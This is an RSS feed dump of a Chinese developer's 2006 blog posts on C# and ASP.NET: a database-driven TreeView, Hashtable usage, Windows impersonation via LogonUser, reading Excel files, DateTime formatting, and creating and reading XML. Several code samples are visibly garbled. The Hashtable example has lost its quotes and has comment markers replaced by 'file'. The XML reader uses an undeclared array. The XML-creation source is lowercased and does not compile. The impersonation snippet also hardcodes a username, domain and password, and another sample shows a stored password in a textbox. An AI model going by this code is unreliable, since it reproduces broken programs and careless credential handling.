		<font size="2">在C#后代码里使用IE WEB Control TreeView <br />网站目录下需要有Microsoft.Web.UI.WebControls.dll和相应的文件 <br />如大家要转载，请保留本人的版权。 <br /><br />/* <br />*Description:完全的操作XML文件 <br />*Auther:mingziweb_天很蓝 <br />*Email:chongchong2008@msn.com <br />*Dates:22004-09-10 <br />*Copyright:ChongChong2008 YiChang HuBei China <br />*/ <br /><br /><br /><br />.aspx <br />&lt;%@ Register TagPrefix="ie" Namespace="Microsoft.Web.UI.WebControls" Assembly="Microsoft.Web.UI.WebControls" %&gt; <br />&lt;%@ Page language="c#" Codebehind="TreeView.aspx.cs" AutoEventWireup="false" Inherits="Test.WebForm1" %&gt; <br />&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" &gt; <br />&lt;HTML&gt; <br />&lt;HEAD&gt; <br />&lt;title&gt;WebForm1&lt;/title&gt; <br />&lt;meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1"&gt; <br />&lt;meta name="CODE_LANGUAGE" Content="C#"&gt; <br />&lt;meta name="vs_defaultClientScript" content="JavaScript"&gt; <br />&lt;meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5"&gt; <br />&lt;/HEAD&gt; <br />&lt;body MS_POSITIONING="GridLayout"&gt; <br />&lt;form id="Form1" method="post" runat="server"&gt; <br />&lt;FONT face="宋体"&gt; <br />&lt;ie:TreeView id="myTreeView" style="Z-INDEX: 101; LEFT: 24px; POSITION: absolute; TOP: 32px" <br />runat="server"&gt;&lt;/ie:TreeView&gt;&lt;/FONT&gt; <br />&lt;/form&gt; <br />&lt;/body&gt; <br />&lt;/HTML&gt; <br /><br /><br /><br />.cs <br />using System; <br />using System.Collections; <br />using System.ComponentModel; <br />using System.Data; <br />using System.Drawing; <br />using System.Web; <br />using System.Web.SessionState; <br />using System.Web.UI; <br />using System.Web.UI.WebControls; <br />using System.Web.UI.HtmlControls; <br /><br />using System.Data.SqlClient; <br />using System.Configuration; <br /><br />using Microsoft.Web.UI.WebControls; <br /><br />namespace Test <br />{ <br />/// &lt;summary&gt; <br />/// WebForm1 的摘要说明。 <br />/// &lt;/summary&gt; <br />public class WebForm1 : System.Web.UI.Page <br />{ <br />protected Microsoft.Web.UI.WebControls.TreeView myTreeView; <br /><br />private SqlConnection myConnection = new SqlConnection(ConfigurationSettings.AppSettings["strConn"]); <br /><br /><br /><br />#region Web 窗体设计器生成的代码 <br />override protected void OnInit(EventArgs e) <br />{ <br />// <br />// CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。 <br />// <br />InitializeComponent(); <br />base.OnInit(e); <br />} <br /><br />/// &lt;summary&gt; <br />/// 设计器支持所需的方法 - 不要使用代码编辑器修改 <br />/// 此方法的内容。 <br />/// &lt;/summary&gt; <br />private void InitializeComponent() <br />{ <br />this.Load += new System.EventHandler(this.Page_Load); <br /><br />} <br />#endregion <br /><br /><br /><br /><br /><br />private void Page_Load(object sender, System.EventArgs e) <br />{ <br />// 在此处放置用户代码以初始化页面 <br /><br />TreeNode myTreeNodeRoot = AddTreeNodeRoot(); <br />AppendChild(myTreeNodeRoot); <br /><br />} <br /><br /><br /><br /><br /><br />private TreeNode AddTreeNodeRoot() <br />{ <br /><br />TreeNode myTreeNode = new TreeNode(); <br /><br />myTreeNode.ID = "420000"; <br />myTreeNode.Expanded = true; <br />myTreeNode.Target = ""; <br />myTreeNode.Text = "我的社区"; <br /><br />myTreeView.Nodes.Add(myTreeNode); <br />return myTreeNode; <br />} <br /><br /><br /><br />private TreeNode AddSubNode(TreeNode subTreeNode) <br />{ <br /><br />TreeNode myTreeNode = new TreeNode(); <br /><br />myTreeNode.ID = "00001"; <br />myTreeNode.Expanded = true; <br />myTreeNode.Target = ""; <br />myTreeNode.Text = "省份"; <br />myTreeNode.NavigateUrl = "" ; <br /><br />subTreeNode.Nodes.Add(myTreeNode); <br />return myTreeNode; <br />} <br /><br /><br /><br /><br /><br />private void AppendChild(TreeNode myTreeNode) <br />{ <br /><br />TreeNode mySubNode = AddSubNode(myTreeNode); <br /><br />if(GetClassTable().Rows.Count&gt;0) <br />{ <br />DataTable myDataTable = new DataTable(); <br />myDataTable = GetClassTable(); <br /><br />for(int i=0;i&lt;myDataTable.Rows.Count;i++) <br />{ <br />TreeNode myTreeNodeSub = new TreeNode(); <br /><br />myTreeNodeSub.CheckBox=true; <br />if(i==20) <br />{ <br />myTreeNodeSub.Checked=true; <br /><br />} <br /><br />myTreeNodeSub.ID = myDataTable.Rows[i]["class_code"].ToString(); <br />myTreeNodeSub.Expanded = false; <br />myTreeNodeSub.Target = "Body"; <br />myTreeNodeSub.Text = myDataTable.Rows[i]["class_name"].ToString(); <br />myTreeNodeSub.NavigateUrl = "DocList.aspx?DocCatalogGuid=" + myDataTable.Rows[i]["class_code"].ToString(); <br /><br />mySubNode.Nodes.Add(myTreeNodeSub); <br /><br />AppendChildren(myTreeNodeSub); <br /><br />} <br />} <br />} <br /><br /><br /><br /><br />private void AppendChildren(TreeNode myTreeNode) <br />{ <br />if(GetSubClassTable(myTreeNode.ID).Rows.Count&gt;0) <br />{ <br />DataTable myDataTable = new DataTable(); <br />myDataTable = GetSubClassTable(myTreeNode.ID); <br /><br />for(int i=0;i&lt;myDataTable.Rows.Count;i++) <br />{ <br />TreeNode myTreeNodeSub = new TreeNode(); <br /><br />myTreeNodeSub.CheckBox=true; <br /><br /><br />myTreeNodeSub.ID = myDataTable.Rows[i]["subclass_code"].ToString(); <br />myTreeNodeSub.Expanded = false; <br />myTreeNodeSub.Target = "Body"; <br />myTreeNodeSub.Text = myDataTable.Rows[i]["subclass_name"].ToString(); <br />myTreeNodeSub.NavigateUrl = "DocList.aspx?DocCatalogGuid=" + myDataTable.Rows[i]["class_code"].ToString(); <br /><br />myTreeNode.Nodes.Add(myTreeNodeSub); <br /><br />AppendChildren(myTreeNodeSub); <br /><br />} <br />} <br />} <br /><br /><br /><br /><br /><br />private DataTable GetClassTable() <br />{ <br />//绑定drpMC_Code <br /><br />string strSql="select * from [class] order by id desc"; <br /><br />OpenConnection(); <br /><br />SqlDataAdapter myCommand = new SqlDataAdapter(strSql,myConnection); <br />DataSet ds= new DataSet(); <br />myCommand.Fill(ds); <br /><br />CloseConnection(); <br /><br />return ds.Tables[0]; <br /><br />} <br /><br /><br /><br /><br />private DataTable GetSubClassTable(string class_code) <br />{ <br />//绑定drpMC_Code <br /><br />string strSql="select * from [subclass] where class_code=@class_code order by id desc"; <br /><br />OpenConnection(); <br /><br /><br />SqlDataAdapter myCommand = new SqlDataAdapter(strSql,myConnection); <br /><br />myCommand.SelectCommand.CommandType=CommandType.Text; <br />myCommand.SelectCommand.Parameters.Add("@class_code",SqlDbType.NVarChar,10).Value=class_code <br />; <br />DataSet ds= new DataSet(); <br />myCommand.Fill(ds); <br /><br />CloseConnection(); <br /><br />return ds.Tables[0]; <br /><br />} <br /><br /><br /><br /><br />/// &lt;summary&gt; <br />/// 打开数据库连接 <br />/// &lt;/summary&gt; <br /><br />private void OpenConnection() <br />{ <br /><br />if (myConnection.State == ConnectionState.Closed) <br />myConnection.Open(); <br /><br />} <br /><br /><br /><br /><br /><br />/// &lt;summary&gt; <br />/// 关闭数据库连接 <br />/// &lt;/summary&gt; <br /><br />private void CloseConnection() <br />{ <br /><br />if (myConnection.State == ConnectionState.Open) <br />myConnection.Close(); <br /><br />} <br /><br /><br /><br /><br /><br /><br /><br />} <br />} <br /></font>
<img src ="http://www.blogjava.net/zengke/aggbug/87095.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-12-12 00:06 <a href="http://www.blogjava.net/zengke/articles/87095.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Hashtable</title><link>http://www.blogjava.net/zengke/articles/86078.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Thu, 07 Dec 2006 05:50:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/86078.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/86078.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/86078.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/86078.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/86078.html</trackback:ping><description><![CDATA[
		<p>
				<font size="2">一,哈希表(Hashtable)简述</font>
		</p>
		<p>
				<font size="2">  在.NET Framework中，Hashtable是System.Collections命名空间提供的一个容器，用于处理和表现类似keyvalue的键值对，其中key通常可用来快速查找，同时key是区分大小写；value用于存储对应于key的值。Hashtable中keyvalue键值对均为object类型，所以Hashtable可以支持任何类型的keyvalue键值对.</font>
		</p>
		<p>
				<font size="2">二,哈希表的简单操作</font>
		</p>
		<p>
				<font size="2"> 在哈希表中添加一个keyvalue键值对：HashtableObject.Add(key,value);<br /> 在哈希表中去除某个keyvalue键值对：HashtableObject.Remove(key);<br /> 从哈希表中移除所有元素：           HashtableObject.Clear(); <br /> 判断哈希表是否包含特定键key：      HashtableObject.Contains(key);<br /> 下面控制台程序将包含以上所有操作：<br />using System;<br />using System.Collections; file使用Hashtable时，必须引入这个命名空间<br />class hashtable<br />{<br />  public static void Main()<br />  {<br />  Hashtable ht=new Hashtable(); file创建一个Hashtable实例<br />  ht.Add(E,e);添加keyvalue键值对<br />  ht.Add(A,a);<br />  ht.Add(C,c);<br />  ht.Add(B,b);</font>
				<br />
		</p>
		<p>
				<font size="2">
						<font color="#ff0000">注意：key值必须唯一。</font>
						<br />  string s=(string)ht[A];<br />  if(ht.Contains(E)) file判断哈希表是否包含特定键,其返回值为true或false<br />    Console.WriteLine(the E keyexist);<br />  ht.Remove(C);移除一个keyvalue键值对<br />  Console.WriteLine(ht[A]);此处输出a<br />  ht.Clear();移除所有元素<br />  Console.WriteLine(ht[A]); file此处将不会有任何输出<br />  }<br />}</font>
		</p>
		<p>
				<font size="2">三,遍历哈希表</font>
		</p>
		<p>
				<font size="2"> 遍历哈希表需要用到DictionaryEntry Object，代码如下：<br /> for(DictionaryEntry de in ht) fileht为一个Hashtable实例<br /> {<br />   Console.WriteLine(de.Key);de.Key对应于keyvalue键值对key<br />   Console.WriteLine(de.Value);de.Key对应于keyvalue键值对value<br /> }</font>
		</p>
		<p>
				<font size="2">四,对哈希表进行排序</font>
		</p>
		<p>
				<font size="2">  对哈希表进行排序在这里的定义是对keyvalue键值对中的key按一定规则重新排列，但是实际上这个定义是不能实现的，因为我们无法直接在Hashtable进行对key进行重新排列，如果需要Hashtable提供某种规则的输出，可以采用一种变通的做法：<br /> ArrayList akeys=new ArrayList(ht.Keys); file别忘了导入System.Collections<br /> akeys.Sort(); file按字母顺序进行排序<br /> for(string skey in akeys)<br /> {<br />   Console.Write(skey + );<br />   Console.WriteLine(ht[skey]);排序后输出<br /> }<br /></font>
		</p>
<img src ="http://www.blogjava.net/zengke/aggbug/86078.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-12-07 13:50 <a href="http://www.blogjava.net/zengke/articles/86078.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>模拟用户登陆的类</title><link>http://www.blogjava.net/zengke/articles/85293.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Mon, 04 Dec 2006 02:31:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/85293.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/85293.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/85293.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/85293.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/85293.html</trackback:ping><description><![CDATA[
		<p>
				<font size="2">using Microsoft.SharePoint.WebControls;<br />using Microsoft.Web.UI.WebControls;<br />private void Button1_Click(object sender, System.EventArgs e)<br />  {<br />   //模拟用户<br />   //WindowsImpersonationContext wic = CreateIdentity("ssa_sps03","paicdom","spstestA1").Impersonate();<br />   List list = new List();<br />   list.AddList(tb_NewsTitle.Text);<br />   //wic.Undo();<br />  }</font>
		</p>
		<p>
				<font size="2">  protected static WindowsIdentity CreateIdentity(string User, string Domain, string Password)<br />  {<br />   // The Windows NT user token.<br />   IntPtr tokenHandle = new IntPtr(0);</font>
		</p>
		<p>
				<font size="2">   const int LOGON32_PROVIDER_DEFAULT = 0;<br />   const int LOGON32_LOGON_NETWORK = 3;</font>
		</p>
		<p>
				<font size="2">   tokenHandle = IntPtr.Zero;</font>
		</p>
		<p>
				<font size="2">   // Call LogonUser to obtain a handle to an access token.<br />   bool returnValue = LogonUser(User, Domain, Password, <br />    LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT,<br />    ref tokenHandle);</font>
		</p>
		<p>
				<font size="2">   if (false == returnValue)<br />   {<br />    int ret = Marshal.GetLastWin32Error();<br />    throw new Exception("LogonUser failed with error code: " +  ret);<br />   }</font>
		</p>
		<p>
				<font size="2">   System.Diagnostics.Debug.WriteLine("Created user token: " + tokenHandle);</font>
		</p>
		<p>
				<font size="2">   //The WindowsIdentity class makes a new copy of the token.<br />   //It also handles calling CloseHandle for the copy.<br />   WindowsIdentity id = new WindowsIdentity(tokenHandle);<br />   CloseHandle(tokenHandle);<br />   return id;<br />  }</font>
		</p>
		<p>
				<font size="2">  [DllImport("advapi32.dll", SetLastError=true)]<br />  private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword,<br />   int dwLogonType, int dwLogonProvider, ref IntPtr phToken);</font>
		</p>
		<p>
				<font size="2">  [DllImport("kernel32.dll", CharSet=CharSet.Auto)]<br />  private extern static bool CloseHandle(IntPtr handle);<br /> }</font>
		</p>
<img src ="http://www.blogjava.net/zengke/aggbug/85293.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-12-04 10:31 <a href="http://www.blogjava.net/zengke/articles/85293.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>读取xls文件内容</title><link>http://www.blogjava.net/zengke/articles/84305.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Wed, 29 Nov 2006 03:28:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/84305.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/84305.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/84305.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/84305.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/84305.html</trackback:ping><description><![CDATA[
		<font size="2">＜%@ Page Language="VB" %＞<br />＜%@ Import Namespace="System.Data" %＞<br />＜%@ Import Namespace="System.Data.Oledb" %＞ <br />＜script language="VB" runat="server"＞<br />Sub Page_Load(sender As Object, e As EventArgs)<br />Dim myDataset As New DataSet()<br />Dim myOleDbConnection As OleDbConnection = New OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;" &amp; _<br />"Data Source=c:\2.xls;" &amp; _<br />"Extended Properties=""Excel 8.0;""")<br />Dim myOleDbCommand As OleDbCommand = New OleDbCommand("SELECT * FROM [Sheet1$]",myOleDbConnection)<br />Dim myData As OledbDataAdapter= New OledbDataAdapter(myOleDbCommand)<br />myData.Fill(myDataset)<br />DataGrid1.DataSource = myDataset.Tables(0).DefaultView<br />DataGrid1.DataBind()<br />End Sub<br />＜/script＞<br />＜html＞<br />＜head＞＜/head＞<br />＜body＞<br />＜asp:Label id="L1" runat="server"＞读取C盘根目录下的test.xls文件，并以DataGrid的形式显示出来＜/asp:label＞<br />＜asp:DataGrid id=DataGrid1 runat="server"/＞<br />＜/body＞<br />＜/html＞ </font>
<img src ="http://www.blogjava.net/zengke/aggbug/84305.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-11-29 11:28 <a href="http://www.blogjava.net/zengke/articles/84305.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C#DateTime日期类型格式化显示 </title><link>http://www.blogjava.net/zengke/articles/82229.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Mon, 20 Nov 2006 04:46:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/82229.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/82229.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/82229.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/82229.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/82229.html</trackback:ping><description><![CDATA[
		<font size="2">1.绑定时格式化日期方法: <br />&lt;ASP:BOUNDCOLUMN DATAFIELD= "JoinTime " DATAFORMATSTRING= "{0:yyyy-MM-dd} " &gt; <br />&lt;ITEMSTYLE WIDTH= "18% " &gt; &lt;/ITEMSTYLE &gt; <br />&lt;/ASP:BOUNDCOLUMN &gt; <br /> <br />2.数据控件如DataGrid/DataList等的件格式化日期方法: <br />e.Item.Cell[0].Text = Convert.ToDateTime(e.Item.Cell[0].Text).ToShortDateString();<br /> <br />3.用String类转换日期显示格式: <br />String.Format( "yyyy-MM-dd ",yourDateTime); <br /> <br />4.用Convert方法转换日期显示格式: <br />Convert.ToDateTime("2005-8-23").ToString <br />("yyMMdd",System.Globalization.DateTimeFormatInfo.InvariantInfo); //支持繁体数据库 <br /> <br />5.直接用ToString方法转换日期显示格式: <br />DateTime.Now.ToString("yyyyMMddhhmmss"); <br />DateTime.Now.ToString("yyyy/MM/dd hh:mm:ss") <br /> <br />6.只显示年月 <br />DataBinder.Eval(Container.DataItem,"starttime","{0:yyyy-M}") <br /> <br />7.显示时间所有部分，包括：年月日时分秒 <br />&lt;asp:BoundColumn DataField="收款时间" HeaderText="收款时间" <br />DataFormatString="{0:yyyy-MM-dd HH24:mm:ss}"&gt; <br />&lt;/asp:BoundColumn&gt; </font>
<img src ="http://www.blogjava.net/zengke/aggbug/82229.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-11-20 12:46 <a href="http://www.blogjava.net/zengke/articles/82229.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>xml</title><link>http://www.blogjava.net/zengke/articles/80702.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Sun, 12 Nov 2006 07:21:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/80702.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/80702.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/80702.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/80702.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/80702.html</trackback:ping><description><![CDATA[
		<p>
				<font size="2">下面是通过读取xml文件中的内容并显示在textbox的例子：</font>
		</p>
		<p>
				<br />
				<font size="2">using System;<br />using System.Data;<br />using System.Configuration;<br />using System.Web;<br />using System.Web.Security;<br />using System.Web.UI;<br />using System.Web.UI.WebControls;<br />using System.Web.UI.WebControls.WebParts;<br />using System.Web.UI.HtmlControls;<br />using System.Xml;<br />using System.Xml.XPath;</font>
		</p>
		<p>
				<font size="2">public partial class _Default : System.Web.UI.Page<br />{<br />    public string[] x = new string[4];<br />    protected void Page_Load(object sender, EventArgs e)<br />    {</font>
		</p>
		<p>
				<font size="2">        XmlDocument xmlDoc = new XmlDocument();<br />        xmlDoc.Load(Server.MapPath("table.xml"));//你的xml文件<br />        XmlNodeList xmlList = xmlDoc.SelectSingleNode("MapSheet").ChildNodes;<br />        foreach (XmlNode xmlNo in xmlList)<br />        {<br />            //XmlNodeList xe = (XmlNodeList)xmlNo;<br />            XmlElement xe = (XmlElement)xmlNo;<br />            {<br />                if (xe.Name == "TableName")<br />                {<br />                    y[0] = xe.InnerText;<br />                }</font>
		</p>
		<p>
				<font size="2">                if (xe.Name == "DataSource")<br />                {<br />                    y[1] = xe.InnerText;<br />                }</font>
		</p>
		<p>
				<font size="2">                if (xe.Name == "UserName")<br />                {<br />                    y[2] = xe.InnerText;<br />                }</font>
		</p>
		<p>
				<font size="2">                if (xe.Name == "Password")<br />                {<br />                    y[3] = xe.InnerText;<br />                }<br />            }<br />        }<br />        TextBox1.Text=y[0];<br />        TextBox2.Text = y[1];<br />        TextBox3.Text = y[2];<br />        TextBox4.Text = y[3];<br />    }</font>
		</p>
		<p>
				<br />
				<font size="2">}该程序已经过测试，没有问题。</font>
		</p>
<img src ="http://www.blogjava.net/zengke/aggbug/80702.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-11-12 15:21 <a href="http://www.blogjava.net/zengke/articles/80702.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>c#来创建和读取xml文档</title><link>http://www.blogjava.net/zengke/articles/80699.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Sun, 12 Nov 2006 07:17:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/80699.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/80699.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/80699.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/80699.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/80699.html</trackback:ping><description><![CDATA[
		<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
				<font class="f14" id="zoom">扩展标记语言xml（extensible markup language），是由w3c组织制定的。做为用于替代html语言的一种新型的标记语言，xml内部有着很多基本标准，xml就是通过与这些相关标准地结合，应用于科学计算、电子出版、多媒体制作和电子商务的。c＃作为一种新型的程序语言，是.net框架的一个重要组成部分，他和xml的关系颇深。本文就从一个方面来探讨一下这二者的关系。即：看用c＃如何来创建和读取xml文档。 <br /><br />　　<font color="#000099"><b>一． 本文程序设计和运行的软件环境： </b></font><br />　　<font color="#0480fb">1.微软公司视窗2000服务器版 </font><br />　<font color="#0480fb">　2..net framework sdk beta 2 </font><br /><br />　　<font color="#000099"><b>二． c＃创建xml文档： </b></font><br />　　在本文中我们来介绍一下用c＃创建xml文档的二种方法，这二种方法各有千秋，第一种创建起来更灵活，第二种创建起来更方便。 <br />　<font color="#0480fb">　1.c＃创建xml文档的第一种方法： </font><br />　　这一种方法是按照按照xml的结构一步一步的构建xml文档。c＃构建xml文档通过.net framework sdk中的命名空间"system.xml"中封装的各种类来实现的。下面就按照一个xml典型文档结构来介绍一下。 <br />    ◇首先要创建一个空的xml文档： <br />　　在命名空间"system.xml"中有一个类"xmldocument"，c＃通过这个类来描述xml文档。下面是用c＃创建一个xml文档。 </font>
		</span>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom0">xmldoc = new system.xml.xmldocument ( ) ; </font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<br />　　◇在xml的文档的最头部加入xml的声明段落： <br />　　利用"xmldocument"类中的 "createnode" 方法可以创建一个指定类型的xml节点，"createnode" 方法的调用方法总共有三种，在本文中使用的其一般的方法，具体语法如下： </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom1">xmldocument.createnode method ( xmlnodetype , string , string ) </font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<br />　　然后在利用"xmldocument"类中的"appendchild"方法在xml文档中加入此节点，用c＃在xml文档中加入声明段落实现的语句如下： </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom2">xmlnode = xmldoc.createnode ( xmlnodetype.xmldeclaration , "" , "" ) ;<br />xmldoc.appendchild ( xmlnode ) ;</font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<br />　　◇为xml文档加入元素（element）： <br />　　加入数据内容是通过元素，在"xmldocument"类中提供了二个方法："createelement"和"createtextnode"。其中第一个方法是在xml中创建一个元素，另外一个方法是为创建的元素指定文本值。下面是为上面创建的xml文档加入一个根元素。 </font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom3">xmlelem = xmldoc.createelement ( "" , "root" , "" ) ;<br />xmltext = xmldoc.createtextnode ( "root text" ) ;</font>
										</span>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<br />　　注释：其中"xmlelem"是创建的"xmlelement"对象，"xmltext"是"xmltext"对象 <br />　　有了创建一个xml元素的例子，就可以根据xml文档中数据的不同的结构来创建其他的数据了。 <br /></font>
				</span>
		</p>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<span lang="en-us">   </span>
						</font>
				</span>
				<span lang="en-us">
						<font class="f14" id="zoom" color="#0480fb">
								<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体"> 2.c＃创建xml文档的第一种方法的源程序代码（no1.cs）： </span>
						</font>
				</span>
		</p>
		<table width="100%" border="0">
				<tbody>
						<tr>
								<td width="100%" bgcolor="#ffffff">
										<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
												<font class="f14" id="zoom4">using system ;<br />using system.xml ;<br />class mainclass<br />{<br />xmldocument xmldoc ;<br />xmlnode xmlnode ;<br />xmlelement xmlelem ;<br />xmlelement xmlelem2 ;<br />xmltext xmltext ;</font>
										</span>
										<p>
												<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
														<font class="f14" id="zoom5">static void main ( string [ ] args )<br />{<br />mainclass app = new mainclass ( ) ;<br />}<br />public mainclass ( )</font>
												</span>
										</p>
										<p>
												<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
														<font class="f14" id="zoom6">{<br />xmldoc = new xmldocument ( ) ;<br />//加入xml的声明段落<br />xmlnode = xmldoc.createnode ( xmlnodetype.xmldeclaration , "" , "" ) ;<br />xmldoc.appendchild ( xmlnode ) ;<br />//加入一个根元素<br />xmlelem = xmldoc.createelement ( "" , "root" , "" ) ;<br />xmltext = xmldoc.createtextnode ( "root text" ) ;<br />xmlelem.appendchild ( xmltext ) ;<br />xmldoc.appendchild ( xmlelem ) ;<br />//加入另外一个元素<br />xmlelem2 = xmldoc.createelement ("sampleelement" ) ;<br />xmlelem2 = xmldoc.createelement ( "" , "sampleelement" , "" ) ;<br />xmltext = xmldoc.createtextnode ( "the text of the sample element" ) ;<br />xmlelem2.appendchild ( xmltext ) ;<br />xmldoc.childnodes.item(1).appendchild ( xmlelem2 ) ;<br />//保存创建好的xml文档<br />try</font>
												</span>
										</p>
										<p>
												<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
														<font class="f14" id="zoom7">{<br />xmldoc.save ( "c:\\data.xml" ) ; <br />}<br />catch ( exception e )<br />{<br />//显示错误信息<br />console.writeline ( e.message ) ;<br />}<br />console.readline ( ) ;<br />}<br />} <br /></font>
												</span>
										</p>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">　</p>
		<p class="msonormal" style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 20pt; mso-line-height-rule: exactly">
				<span lang="en-us">
						<font class="f14" id="zoom">
								<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">    </span>
						</font>
				</span>
				<span lang="en-us" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
						<font class="f14" id="zoom">
								<font color="#0480fb">3.c＃创建xml文档的第二种方法： </font>
